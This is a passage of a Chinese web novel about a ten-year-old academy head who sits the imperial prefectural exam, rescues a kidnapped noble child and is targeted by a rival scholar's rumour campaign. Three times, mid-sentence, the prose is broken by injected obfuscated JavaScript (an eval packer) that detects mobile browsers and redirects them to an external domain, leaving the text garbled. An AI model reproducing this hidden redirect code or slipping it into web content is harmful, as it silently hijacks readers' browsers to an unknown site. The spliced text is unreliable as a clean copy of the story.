他从小多病,在家中时便难以入睡,奇怪的是来到这华夏书院后,反倒罕见的休息不错,尤其是食堂里的饭菜更是精致可口,别有一番风味,再配上童启特意给他解锁的川贝枇杷膏,几日下来,咳疾也好了许多。 墨韵在一旁看着,也渐觉欢喜起来。 童启没有客气的意思,直接让温叶辞带着学生们上了几日课,能轻松拿下府试第一名的,自然有点东西,换换视角,倒也新鲜。 可温叶辞却是越讲越心惊,他从未见过有书院是如此讲课的,那小蜜蜂扩音器挂在腰间,轻轻松松一句话便能迅速传达至教室里每一个角落。干净明亮的环境,令他也不自觉艳羡起来,而更惊叹的,还要属童启信手拈来,举重若轻的讲课模式。 只消几节课,他便能迅速感觉到对方知识内容的繁杂与磅礴。 就连之后再回到王举人那里,听其讲解,都只觉远不如童启,越发心不在焉,频频出神起来。 沧澜村,童父的伤势这几日终于好了很多,至少可以下床行动了。 而他醒后,也逐渐染上了一个新的习惯,那便是吃罢饭后慢悠悠在村子里闲逛,聆听村民们吹嘘他儿子的事。 “磊子醒了啊,你儿子如今可有出息了,听说了没,你这病幸亏靠他拿出的什么酒精,不然早死了。” “是该多动动,别给你儿子添麻烦。” “什么时候让童小子去我家坐坐,我给他做些好吃的!” “你可真有福气,生出这么个神仙儿子……” 如此种种的称赞,一开始,令童父感觉非常不自在。 不过出镖大半年,回到家里,怎么儿子便突然变成了神仙的徒弟,还有着那么多传奇的故事?可时间一久,他渐渐也骄傲起来,感慨着大难不死,必有后福的说法。 可惜的是他在家中一向是个严父,和儿子并不算亲近,如今对方为了忙书院的事,更是基本不下山,让他颇为遗憾和想念。 终于在一次旬假时,童启回了家里,见到童父伤势好了不少,平淡的点了点头。 “最近您就在家休养一段时间吧,暂时别出去了。劳役的事情我已经找好了人,银子的事,你不必管。” 童父沉默着,不知道该如何回应。 以往家中赚钱的人都是自己,这头一次没拿到钱还负了伤回来,儿子却没有任何埋怨,还主动担下了劳役的事情,忙里忙外,这让他这做父亲的,心里十分不是滋味。 童启见他没说话,尴尬的陪同坐了一会儿,站起身刚想走,又被叫住。 “我的伤没那么严重,过段时间便可以再出去走镖了,我和全胜镖局的东家已经谈好了,一起去护送琉璃厂的货,银子的事,不会让你一个人承担。这个……是之前你跟我要的,我在路上买了,虽有点脏,你若喜欢,拿着去玩吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841597|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童父摩挲着,从怀里掏出一个竹蜻蜓来,递给他。 那是他从难民手中一路死死护住的唯一一件东西,即便受伤了也没丢下。 但可惜……要送的人,却早已经不在这世上了。 童启没想过对方会拿出这个,在原主的记忆中,童父是个十分严肃且凶巴巴的人,他给他要了许久的竹蜻蜓,对方却似乎从未放在心上过,今年的生辰,父亲外出走镖依旧没回来,小童启孤零零的走到河边玩耍,这才不慎落水,彻底离开了这世界。 说怨恨吗?似乎是有的。 可再多的怨恨,在看到这东西的时候,也忍不住心软了下来。 他伸手接过,有些怔神的望着手里的竹蜻蜓,许久,终究还是忍不住笑出了声。 院试,考就考吧。 不过一个秀才而已,有什么可犹犹豫豫的,人生这么短,与其陷在纠结之中,不如直接去干。 一旦决定了要考院试,童启很快便做起了一系列准备。 首先开始调整自己的作息,上午教课,下午和晚上则跟着学生们一起自习,他特意搬了个小桌子坐在教室里的最后一排,刚开始大家还很不适应,可后来看到对方那么专心致志,井井有条的样子,也不由渐渐安心下来。 他特意设置了一大张时间安排的表格,贴在教室里,每日按照精准的时间进行复习、休息。 效率高到所有围观的人忍不住头皮发麻。 “我的天,你们看到山长的复习速度了吗?简直是一日千里啊!谁有个这样的对手,那可真是太可怕了。” “这算什么,你们注意到那计划表了吗,可以说是连上厕所的时间都安排好了,咱们回头考县试,不会也要这么准备吧?” “本来以为我读书就够努力了,这跟山长一比,还是差远了啊。” 几个学生们被这股氛围带动的,也不禁勤奋起来,一时间,整个书院里欣欣向荣,一股考前冲刺的意味,反而比之前强压着“退学警告”的时候还要努力的多。 清虚子坐在一旁的躺椅上,见到这场景,欣慰十足。 他是整个书院里唯一没有科举压力的,每日上上课,批改批改学生们的试卷,吃着小徒弟清洗的水果,只觉得这日子,神仙来了都不想换,实在是太惬意了。 正在这时,谢羽却突然递上来一封信。 “师父,谢家的信来了。” 他伸手拆开,几行看完,顿时破口大骂。 “蠢货,真正的蠢货!这谢家家主是越发糊涂了,竟然连我的话都不信了,我让他送谢家嫡子过来学习,结果呢,他竟然送了个庶子过来!这是看不起谁呢?那小子本就是个扶不起来的阿斗,送过来能做什么?让他滚回去,这里没他的地方,什么国子监,我又不是没去过国子监,怎么会不知道哪里才是好的场所?若真将孩子送到那里,那才是真正的糟蹋了呢!” 清虚子气愤的不行,当场便要回信狠狠骂过去。 谢羽沉默不语,他属于谢家旁支的孩子,认真讲来,其实也算庶出,因此虽心底里不满家主看轻了这所书院,却不敢像清虚子这般骂,只得给他研磨安排。 22. 第22章 短短两个月,所有的事务在童启手中做了简单交接。 与汪家合作的棉花田已经走上正轨,有吴韧负责看管,不必忧心,他早已将种植过程等一系列需要注意的事情提前抄写了一个小册子,分发给了汪家和负责的佃户们;而琉璃厂每月的分红也有全胜镖局的总镖头刘明皓统一照料,准时交接给府衙里的灾民救济点。 童启轻装简行,只带了继本叔和全胜镖局硬塞过来的两个镖师,便直接踏上了府城科考之旅。 其实刘家家主和童父本来也是想要一起的,但被他给婉拒了。 不过考个试而已,有什么可大惊小怪的,更何况河南府和伊川县离得也不算远,来回几日便回来了,有何担心之处? 书院被暂时托付给了清虚子,临走前,他还不忘给学生们布置了满满一周的作业与复习安排,这才放心离开。 态度随意的就像是出门旅个游,半点没有科举的模样。 五位学生站立在书院门口,目送山长坐的牛车缓缓驶向远处,皆感觉到一阵稀奇。 不止是为了童启“严格备战,轻松上场”的态度,更是为了这罕见的学生送老师的诡异场面。 以往见过父母送孩子,老师送学生的,这还是头一次,倒过来的? 童启一路没带多少衣服和书本,唯一装了满满一竹箱的,就是各种吃的喝的。 “来来来,别客气,尝尝我们书院新制作的吃食如何?我特意拿了五六天的分量,够咱们路上吃的了!” 他毫不客气的掏出几罐八宝粥以及小面包塞给了随行的镖师们,空悬着小短腿坐在马车边缘处,目光狡黠而灵动。 这一刻,脱离了华夏书院山长的身份,童启重新回归了应有的年纪,就如同普通出门串亲戚的孩童般,充满了天真。 两位镖师愣愣的接过,忙道了谢,心中一暖。 他们走南闯北,没少接触过文人群体,但凡身上带点功名的,哪个不是浑身傲气,一脸不屑?这还是头一次有人拿正眼看他们,且年龄又如此小,辛辛苦苦的跋山涉水参加科考,实在是惹人怜爱。 一路上,两个人对童启照顾有加,偶尔讲述着沿路的风景与走镖时遇到的故事,倒也有趣。 快临近府城边缘的时候,一队人马匆匆从他们身边经过,激起阵阵灰尘。 童启瞄了一眼那马上坐着的人,却突然道了声。 “快,拦住前面那几人。” 两位镖师不明所以,但本着完全信任童启话的原则,直接掉头驾车跟上。 见他们追来,前头那几人瞬间跑得更快。 童启站起身,从后方拽出一跟长长的绳索来,打了个活套,递给旁边的继本叔,表情冷厉,“他们是拐子,用这个,把最前头马上的那个人拽下来,王叔、刘叔,准备好,他们手里应该有武器。” 什么?拐子? 一听这话,几个人顿时严肃起来,拿起东西,严阵以待。 童继本不愧是战场上下来的人,虽然一条腿瘸了,可手上的动作却依旧精准。 只甩了几下便直接套中了人,一把狠薅了下来。 前方马匹飞跃,伴随着一阵凄惨的嘶鸣声,男人脖颈瞬间被套住,整个摔倒在土地上。 系在身旁的麻袋也因此解封了口,掉落下来,果露出个七八岁昏迷的男童。 随行的同伴勒紧了马匹,一脸凶恶。 “妈的,多管闲事,找死!” 他们拿起刀转身冲着童启等人驶来,两位镖师和童继本立刻迎上,双方缠斗着,童启连忙去查看那地上的孩子,好在只是昏迷,没有受伤,这才松了口气。 被拽下马的男人挣扎着爬起来,望向童启。 见到不过是个十岁的男童,顿时恶狠狠的朝地上唾了一口,伸手抓来。 “小心!” 童继本惊了一跳,刚想救人,却见到一道冷厉的光芒直接刺入那歹人的掌心,刀尖轻易穿透过皮肉,深可见骨,血如泉涌。 “啊!” 童启一脸冷静的站在原地,握紧了手里防身的匕首。 不过两秒之差,一只冷箭横穿过那歹人的胸膛,将对方射中倒地。其余人连忙逃离,被匆匆赶来的一队士兵抓住,领头的柏大将军手持弓,骑着马赶来,意外的看了童启一眼。 “是你?” “参见将军。”童启硬挺着行了个礼。 头一次见到有人死在眼前,说毫无波动是不可能的,他青白着脸,忍了又忍,终于还是禁不住,扭过头吐了出来。 柏大将军居高临下的看着他,挑挑眉,颇觉有趣。 “你这孩子倒是冷静聪慧,怎知他们这一群人便是拐子?” 童启擦了擦嘴角,无奈的解释道。 “谁家男人穿的一身布衣,可包袱却是锦缎做的啊?更何况他们行色匆匆,连吃食都没有准备,可腰间却挂着明显不属于他们的孩童专用水囊,一看便有异。” 柏弓良忍不住笑出声,只一眼便能如此观察入微,这小子,确实有点东西。 难怪老爹赞赏有加。 他本来是奉命前来镇压动乱的,谁曾想恰好遇到安庆侯爷家里的嫡子丢失,忙帮着找过来,没想到反看了一出好戏。 “你是要去考院试?走,我送你一程。” 柏弓良有心结识一番,顺便问问他手上这匕首是何物所做,怎会如此锋利?一把将童启拎坐到马上,吓了周围人一跳。 “那个……柏将军!” 人家好歹救了侯府公子,你稍微客气一点啊! 旁边的副将心都快跳出来了,生怕自家将军得罪了这小童,也挨上一刀。 童启倒是比想象中适应良好,头一次骑马,接触到头顶的新鲜空气,他兴奋的四周看看,反压下了方才死人的阴影。 两方结成一队,边走边聊。 童启也没想到,当初在柏老府上看到的人,竟然就是大名鼎鼎的柏大将军本人!他本就崇拜这种沙场上厮杀出来的人物,一来一往之间,倒也聊得开心。若不是院试马上开始,只怕还有得促膝长谈的时候。 互相约定了等回到伊川县,就去书院拜访。 两人这才依依不舍的分开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853801|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到了府城,童启让继本叔先去找租住的房子,他则单独拎着点礼物上门,趁机拜见了一下当地的学政以及知府大人木奎盛。 那玻璃方子本就是借着华夏书院的名声递上去的,而作为华夏书院的山长,他来科考,理应打个招呼。 木奎盛对童启态度尚且算是不错,毕竟替他赚了那么多钱,可学政大人便有点鼻子不是鼻子,眼睛不是眼睛了。 “院试在即,学子理应主动避嫌才是,你倒好,反倒上赶着,呵,恕在下难以陪同,先行一步。” 对方冷哼一声,转身离开。 童启摸了摸鼻子,也不介意。 他早就打听到的消息,这河南府的学政乃是鲁地出身,翰林院里贬下来的,性格最是刚正不阿,一贯秉公无私、从不搞表面工程,和木知府完全是截然相反的两个人,如今一看,倒的确如此,让他彻底放了心。 公正就好,要的就是不徇私,公公正正的。 不然判卷子,他还真找不到参考标准是什么。 且说另一边,安庆侯府丢失的嫡子被找回,侯府夫人哭的那叫一个惊天动地,正不知该如何感谢是好,柏大将军却开口表示,人并非是自己救下的。 安庆侯连忙追问情况,对方将当时的情景合盘托出,听闻动了刀,死了人,几位吓得那是一身冷汗,连忙备好重礼,便想要亲自前往感谢。 可到了地方,却扑了个空,客栈掌柜却说,人已经进了考场之内。 锣声一响,院门缓缓关闭,三日的科考正式开始。 童启跟随衙役走到自己的号房内,将手里的竹篮放下,掏出早就准备好的水和抹布狠狠打扫起卫生来。 这可是未来两三天吃饭睡觉的地方,不干净怎么能行? 将周围擦得一尘不染后,他这才缓缓坐下来,等待卷子的分发。 紧张嘛,倒是不紧张,毕竟他早已经在考前压过一波题目,而且有着线上数据库的帮忙,这几年的真题模拟,他已经全部做了一遍,心中有题,自然不会慌张,倒是对面号房里的一个老童生,胡子花白,看到他这年纪,也来参加院试,颇有些不忿。 口中不断念叨着,“黄口小儿,世风日下”之类的。 直到被旁边站岗的衙役警告了好几遍,这才勉强住嘴。 清脆的磬钟提示音响起,卷子被一张张传了下来,童启接过后先整体阅览一遍,等学政官喊了开考,这才开始提笔研墨,慢慢思考着从哪里作答。 经义题比较好写,策论的话,按照他平日里练习的规格来,答起来也不难,倒是诗词需要多想想,反复揣摩。 他给不同的题型分配好时间,将内容先填写到草稿纸上,刚开始时还有点不习惯,越写却越觉得顺利,在不少人还没答完第一题的时候,他已经率先将经义题全部誊写到卷子上了。 养精蓄锐一会儿,临近午时,不少考生纷纷掏出大饼啃了起来。 童启将卷子一收,直接向衙役要了壶热水。 不一会儿,一股霸道的香气陡然弥漫至整个号房内,将所有考生的心神被搅得瞬间一滞。 23. 第23章 哪个孙子这么欠,竟然在考院做熟食啊!! 别说其他早已饥肠辘辘的学子们了,就连监考了一上午的学政大人都忍不住太阳穴一跳,愤怒的拍响了案桌。 “是谁?不是说了考院里不准用明火?” 屈着身子赶过来的衙役一脸苦色。 “大人,我们的确没给任何人使用明火啊,那人……那人是直接用热水泡开的面条!” 面还可以泡出来? 学政大人惊了,忙命令衙役带着前往,去看看到底怎么回事。 矮□□仄的号房中,童启将所有试卷收起,放在一旁的竹篮里,独自抱着面碗吸溜着,今日份的午餐是酸菜牛肉面,为了补充脑力,他特意还往里面放置了两颗卤蛋和香肠,再配上一袋甜甜的小面包,嗯,绝了!简直比外面过的还惬意。 学政大人黑着脸看着号房里那熟悉的小子,气不打一处来。 你是来野炊踏青的不成? 有没有一点科举的严肃感!成何体统,啊? 这成何体统! 他本想严词警告一番,顺便没收走对方所有的吃食,可偏偏话到嘴边却想起科举考试的条例规定中,并没有不允许学生带泡面的说法,难不成只因为味道好闻一些,霸道一点,就斥责惩罚?这说出去也立不住脚啊。 纠结一番,最后也只能拂袖离开,不再理会。 童启见他们走来,又走去,不明所以,继续嗦面。 倒是旁边的学子们忍不住了,不住的吞咽着口水,手中的饼也如同嚼蜡一般,索然无味。 几个衙役不自觉的往这里多巡了几遍,嗅嗅空气中弥散的味道,又纷纷握着拳走远。 温叶辞坐在甲字号号房内,无奈的摇摇头,他自然知道这是谁闹出的动静。 临行前,他也收到了对方送的考试大礼包,可因为过于张扬便没带进来,现在闻着这味道,反而有些后悔,觉得是自己过于迂腐了,不该跟吃的过不去才是。 多喝几口热水压下口中的素饼,他整了整试卷,继续低头对答起来。 申家的小公子也在这场考试之中,本就因为没吃早餐而饿的头晕眼花,刚咬了口饼子,却猛地闻到这诱人的味道,差点炸了。 妈的,这谁啊,竟然如此嚣张? 比老子吃的还好? 最好别让我知道名字,不然腿都给你打断! 一整日过去,临近下午,第一场才终于考完。 收了卷子后,不少书生短暂的走出号房,活动着筋骨,上上厕所。 童启见离下一场开始大概还有半个多小时,掏出一块巧克力塞进嘴里,然后去前头寻找温叶辞。 刚走到到半路,却被人拦了下来。 “申公子,便是这小子午时闹出的动静!” 对面号房里那头发发白的老童生卑躬屈膝着,带着一群看起来便富贵无比的书生围了过来。 领头的申宫保耀武扬威,推开人群,走上前,一脸怒气。 可看到对面的小萝卜头后,却猛地一滞。 童启眨眨眼,仰着头看着这群找事的人,一脸无辜。 申宫保:…… 就是这小子? 这才十岁吧,怎么混进院试里的? 他憋了一整日的气,本想怒斥一番,可看见这比自己弟弟还要小,唇红齿白,如同观音座下童子的家伙,满腹愤怒瞬间烟消云散。 值得吗?跟个小孩子置气? 可来都来了,所有人都看着,若停下,多少也有些丢面子,申宫保卡壳一瞬,很快调整了面容,恶狠狠道,“便是你小子中午在煮面吃?你知道这是哪里吗?谁允许你乱做东西的,在这考场里!影响到我答卷了知不知道!” 童启茫然道,“啊,不好意思,院试有规定说不可以吗?我还真不知道欸。” 申宫保:…… 院试当然没有规定,如果有规定,学政早就将人拖出去了,可这也不是这小子这么狂妄无知的理由啊! 更何况,凭什么他吃干巴巴的饼,这小子却能吃那么好? 不公平! “你把你那东西给我,小爷给你换。” “不要。”童启直接否决。 原来是看中了自己的饭啊,可我凭什么要换?你那大饼,一看就不好吃。 申宫保倒抽一口冷气,难以置信。“你敢拒绝我?你知道我是谁吗?” “谁,皇子吗?” “你……” “这是安庆侯府二夫人的外甥,申公子,河南府有名的风流才子。”温叶辞拂开遮挡的柳枝缓缓走了过来,格挡在两人之间,给童启介绍着,面露警告的看向申宫保本人。“诸位,第二场行试马上便要开始了,还是莫要太喧嚣的好,不然引来学政大人,反倒不妙。” “温叶辞?”申宫保眼睛微眯,不屑的冷哼一声,“我怎么不知道你们温家何时连孩童都收拢了?” “申公子,说话要小心,这并非我温家的客卿,乃是华夏书院的山长,童启童案首。” 华夏书院? 听到这名字对面几位书生明显变了一点脸色,前段时间的救济灾民之事对方可是大大扬了名,谁能想到背后的山长竟然如此年幼? 申宫保挑了挑眉,“行,既如此,我便给华夏书院一点面子,小子,你中午吃的那东西是什么,开个价吧,我花钱向你买,总行了吧。” 童启没有料到,考场上竟然才是做生意最好的地方,他犹豫了两下,终究还是在“狠狠宰他一笔”与“维持市场物价”之间,选择了忍痛拒绝。 “抱歉,我进来的时候只带了自己三天的分量,你若想要,可能得出去再谈,现在的话,我卖不了你。” 一再被下面子,申宫保终于是忍不住了,他阴沉着脸色打量着童启。 “好,记住你自己说的话,以后可别后悔。” 说罢,他直接转身离开。 温叶辞长叹一口气,提醒童启,“你要小心,这位申公子可不是个心量大度的,仗着才学身份,一向嚣张跋扈惯了,没准私下里,会找你的事。” 童启摊了摊手,无奈道。 “那也没办法啊,我什么都能忍,就是吃的嘛,不太能。” 中华美食上下几千年,他除了教书,上辈子最在乎的事情就是吃了!不然这么拼命工作是为了什么,不就为了那一日三顿饭吗?如今来到大奉朝,更是缺什么爱什么,食堂解锁了之后,他连系统任务都做的不怎么热衷了,至于什么申公子,那更是管他呢。 温叶辞笑着摇摇头,将手里的糖块分给了他一半,“你呀。” 两个人安静坐在大树下等待着第二场考试。 申宫保却咽不下这口气,下定决心等出了考场之后,一定要给童启一个教训。 一连三日,大家考的是头昏脑胀,越考越虚,有的考生更是出了考场后便直接晕倒在地,可童启却反而兴致勃勃,双眼发亮,活像是在里面吃了什么大补的东西一般,越考越精神。 跟随来的镖师和继本叔都不由暗自称奇,认为童启是天生的科考圣体。 而童启却压根留都没留,一考完,便直接带着人回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862191|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了伊川。 什么等榜? 反正院试成绩出来总会有人报信的,考中那就是秀才,没考中那就是空,有什么可等的? 于是,等安庆侯府眼巴巴听到消息,再次来到客栈的时候,又扑了个空。 没办法,安庆侯与安庆侯夫人只得带着一家老小收拾东西,亲自前往伊川去感谢。 等申公子好不容易恢复过来精神,想找人揍童启一顿,却听到了自己姐姐要前往华夏书院的消息,一脸茫然。 “你们去哪里做什么?” “那华夏书院的山长从拐子手里救下了小侯爷,不登门感谢,怎么能行?” 谁?你说谁救的人? 申公子想起那小萝卜头的身高,直接懵在了原地。 - 且说童启回到华夏书院后,如没事人一般,继续给学生们上课,一点没有刚考完担心的样子。 反倒几个学生抓耳挠腮,替山长操心着成绩的事情。 “咱们山长学识渊博,肯定能考上的吧?” “能考上是能考上,但是名次多少就不一定了,毕竟山长才十岁,学政大人若有心压一压,也未可知。” 王举人那边收到消息,听闻童启去参加院试,顿时怒不可遏,以为自己被愚弄了。 当知道是自己徒弟温叶辞亲自劝解的,更是气愤。 “你糊涂啊!他若考不上也就罢了,可若真胜了你,岂不是踩着你的脑袋往上爬?” 温叶辞淡淡回应道,“若真技不如人,也属正常,有何可怕?” 王举人长叹一口气,强忍着到了嘴边的骂声。 他可不准备如此贤良,真等着童启发育起来,与自己争锋,伊川县如今所有的秀才都是从他手里走出去的,若真出来一个跳脱于掌心的人物,那岂不是活活打他的脸? 更何况对方手底下也开着一家书院呢! 这可是妥妥的竞争对手——即便对方如今还没资格当他的对手。 那也要将祸患一早掐死在襁褓之中才是。 他目光狠厉,挥挥手,叫过来自己的几个徒弟,决定提前造起势来。 一时间,整个河南府突然流传起不少诡异的传闻来。 有的说童启拜道家人为师,是有辱斯文,蔑视圣祖,收下的徒弟学生也是为了淬炼邪丹,搞什么妖法。 有的说童启县试乃是作弊,没有真材实料,只是靠年龄小,蒙蔽县令等人。 更有说那些所谓的“拜师故事”皆是童启乱编出来的,只是为了扬名,实际上他联合道家的人装神弄鬼,骗了不少衙门救灾的钱。 各种说法真真假假,甚嚣尘上,搞得原本不太相信的百姓也不由怀疑起来。 众口铄金,这么多文人都如此说,不会真有点什么事吧? 更有那火上浇油的,找到了童启的二舅,询问此事。 对方不仅不否认,还忙不迭附和着,说童启不孝不悌,辱骂亲友,一得志便连亲戚都不认了,活生生一个白眼狼的模样。 如此多文人联合起来往一个人身上泼脏水,声势浩大,童启哪里还有反驳之力? 几位学生家长焦虑的不行,心知有异,却无法反抗,每天被亲友逼问着,只能犹豫着要不要让孩子回来,暂时避避风头。 可学生们却死守着不退。 他们从未有过在这样幸福的书院里读书的经历,早已经将童启当成了人生之中的灵魂导师,平日里便已经为山长忙前忙后操碎了心,更何况这次遇到风雨的时候? 那更是表明态度的好时机啊! 24、第24章 系统:“岂有此理,真是岂有此理,他们竟然敢这样抹黑你,宿主,这你能忍?” 意识海里,捕捉到这些舆论的系统气的哇哇叫。 而童启本人呢? 他却像没事人一般,正忙着构建书院的安保团队! 府城一游,又是拐子,又是知名权贵警告的,虽然当时情况下,他勇的不行,可回到伊川后,又忍不住怂起来。 如今可不是什么法制社会,真要是被人恶意报复什么的,他们满书院可都是文人,弱不经风的,除了继本叔一个人勉强能打一些,其他人可都是脆皮中的脆皮! 反正院试结束后,不管他能不能考得上,华夏书院都是彻底低调不起来了,那只能张狂到底!尽量吸引足够多的目光,将一切放置在阳光下,所有人都能看到的地方,方能够震慑住暗处宵小的恶意。 哪怕虚张声势呢! 见到系统火冒三丈,他连忙哄起来,顺带着询问有没有什么其他的安保设备。 “哪怕需要声望值或者金钱呢?只要能把这书院给我武装到牙齿,我都愿意干!” 或许每个兔子都有点火力不足恐惧症,发生了几件事后,童启更是对这环境不安到了极致。 系统卡壳两秒,思考了一下。 “按理说书院是有一套自我配置的智能安保系统的,除了本校的学生老师可以刷脸进出,任何人都会被电网、红外线感应器拦在外面,可由于不属于这个位面的科技水平,所以被我给去掉了,如果你想要,估计只能从高阶抽奖池里抽出来。” 童启瞬间眼睛一亮。 有就行! 有就有希望!高阶抽奖券是吧!我记住了! 童启摩拳擦掌,但在抽到安保设置之前,他还是得先找人顶着些,于是找到继本叔嘱咐道。 “这次,我打算招满二十个人,新成立一个安保团队,负责书院上上下下,里里外外的安全,继本叔,你有什么推荐的人吗?只要能打、力气大就行,我们管吃管住,一个月800钱!遇到节假日、特殊事项还会有奖金!” 自拿到了柏老的三千两银票后,童启对周围人的待遇那是一提再提。 尤其是技术人才,更是相当尊重。 童继本愣了一下,没想到一个书院竟然需要这么多人,他脑子里转了好几圈,才勉强从记忆深处拖出几个靠谱一点的战友来,剩下的,则靠着童启殷勤的向周围挖起了墙角。 全胜镖局的镖师,他看着就不错,尤其是这次一起去院试的两位,重金雇佣一下试试! 柏大将军南征北战,手底下应该也有很多厉害的退伍士兵吧?写封信,哭一哭! 东拼拼,西凑凑,勉强凑齐了二十个。 然后,童启将自己写的《大学生军训指南》一起递交给了继本叔。 “这是我瞎琢磨出来的一些训练方式,继本叔你可以参考一下,以后这些人,便交由你统一管理和培训了,请务必将书院守的如铁桶一般!拜托了!” 童启站在台阶上,拍了拍童继本的肩膀。 满眼希冀。 看着山长眼中沉甸甸的信任,童继本只感觉一股蓬勃之气从心底直接宣泄而出,让他难以言明。 自战场退下来后,跛了腿,他便受到了不少人同情、蔑视的目光,这还是头一次有一个人如此信任,说要将一切交给他的,他手握着那本册子,早已凉透的心又缓缓跳动了起来。 且不说后期童继本看着那册子里踢正步、列队立正、令行禁止的训练方式有多么颠覆思想,又为后期的华夏书院训练出来了一批多么可怖的护卫队…… 只说如今关于童启的黑料铺天盖地,动静之大,连河南府正在判卷的学政大人都有所听闻。 紧闭的号房里,两位阅卷官拿着一份卷子小声的争执着,他皱眉看过去,低声呵斥道。 “又在吵闹什么?卷子不都阅完了?直接誊抄成绩便是。” 其中一位阅卷官面色为难。 “不是,其他的倒没什么问题,只是这院案首,学政大人是否要重新斟酌一下,毕竟最近的风声,若是定了他,怕是会有些不太合适?” 不合适? 哪里不合适? 学政大人疑惑的接过卷子,见到那赏心悦目的卷面,率先眉眼一舒,可当看清楚密封后的名字时,却忍不住太阳穴一跳。 怎么又双叒是这小子? 他存在感就这么高的吗?闹得整个府城沸沸扬扬也就算了,竟然还惹得阅卷官们争吵起来了? 想起近日里流传出的各种风声,他顿时猜出了两人争论的原因。 果然,另一位阅卷官持不同态度道,“我认为科举乃是唯才是举,一些私下的品德、行事,不在我们的考虑之内,既然原本定的院案首是他,那么拆封后,便不能因为一些其他原因,否定他的才学。” “我并没有否定他的才学,只是觉得如此行事悖德的人,理应往后放一放,压一压名次罢了。只要能上榜,第几又有何区别呢?” “怎么无区别?难不成你心里状元和同进士,也是一样,毫无区别的吗?” “你这分明是强词夺理!” 两位阅卷官争吵着,谁也不服谁,学政大人没办法,只得拿起第二名和第三名的卷子一同对比着看。 看完三份,方叹息一声道。 “你们确定,若真的将这份卷子放到最后,不会良心不安吗?孰胜孰劣,我觉得已经无需争论了,但凡有眼睛的,都很容易区分出来。咱们是判卷官,不是断案官,诸位,恪守本心,别逾矩才是。” 他半警告半提醒着,两位阅卷官顿时后背一凉,不敢再论。 对于这些恶言,童启始终采取着放任的态度,没有立刻处理。 可伊川县令和柏老却对这文人的围剿式抱团非常气愤。 尤其是章县令。 瞅瞅这内容传的,什么童启没有任何真才实学,县试名不副实,这不就是明摆着在质疑他的公正性吗?他会是那种看脸定名次的人不成?这分明是污蔑,纯纯的污蔑! “给我查,我倒要看看是谁放出的消息,竟然敢诽谤衙门!” 旁边的书簿一脸苦色,连忙应是。 其实大部分人都多少能猜测出来是谁出的手,可知道又能如何?没有证据,照样无可奈何。 先不说王举人本身就是个举人的身份,他手底下的学生们更是几乎垄断了整个伊川县的教学系统,若是真想做些什么,当地的县学都得给他架空喽。 谁敢轻易得罪? 正是这种腥风血雨的时刻,一辆华贵的马车缓缓驶入伊川县内,惊起了不少人的注意。 “你说是谁的车?” 王举人惊疑不定道。 “安庆侯府!是安庆侯府,咱们的人亲眼看到安庆侯带着一家老小,一路往沧澜山脉去了,据说是要去拜访华夏书院的童启!” “安庆侯?他们不是一向中立不参与任何势力的吗?怎么会来这里?” 王举人沉思着,连忙命人驾车,匆匆换了衣服往沧澜山而去。 一地侯爷亲至,得到消息的谁能安坐? 瞬间被惊动的各方势力忙将视线放在了华夏书院身上,更有那离的近的,直接驾车前往恭候,只为和侯爷搭上两句话。 坐在马车内的申宫保仍旧在怀疑人生,他不知道自己为什么也要来。 是,那童启救了小侯爷,可那是侯爷一家的事情,他一个仗着二房姑父为非作歹的人,来这里干嘛? 凑人头热闹吗? 不情不愿的跟着上了沧澜山,看到那古朴厚重的牌匾,众人顿时一震。 这……便是那华夏书院?跟传闻中的好像也不太一样啊。 安庆侯拉着自己的小儿子,亲自前往叩门。 良久,一个腿脚微跛的中年男子走出来,疑惑的接过了拜帖。 “您是……” “在下安庆侯沈博川,特意携家小前来感谢山长的救命之恩!还望行个方便,通禀一声。” 童继本犹豫一瞬,“稍等。” 然后便再次关上了大门。 一旁的申宫保都快看呆了。 不是,你们知道这是谁吗?这可是安庆侯?不立马迎进去就算了,竟然让他们在外面干等? 就连匆匆赶来的王举人也被这举动给惊得不行,一口气差点抽不过来,原地晕厥。 好在童启收到消息后很快走了出来,见到是上次拐子拐走的那男童父母,立马便知道应该是柏将军将当日的事情告知给了他们,所以特来感谢的。 他拍拍手里的灰尘,客气的上前道。 “实在不必如此客气,上次我也只是机缘巧合,误打误撞救下了贵公子,若不是柏将军及时赶到,后果不堪设想,若真想要感谢,还是感谢他比较好。” “您放心,柏大将军的那份我自然有所准备,这些东西,不值几个钱,还望您收下我们的心意。”安庆侯府态度极好,将准备好的礼物一一搬出来,堆积在书院门口,虽然物品繁盛,什么都有,可大多数主要还是笔墨纸砚之类,倒是让童启不好拒绝。 他刚想同意,将此事掀过去算了,没想到安庆侯却两手一推,直接将自己儿子和旁边的申宫保给推了出来。 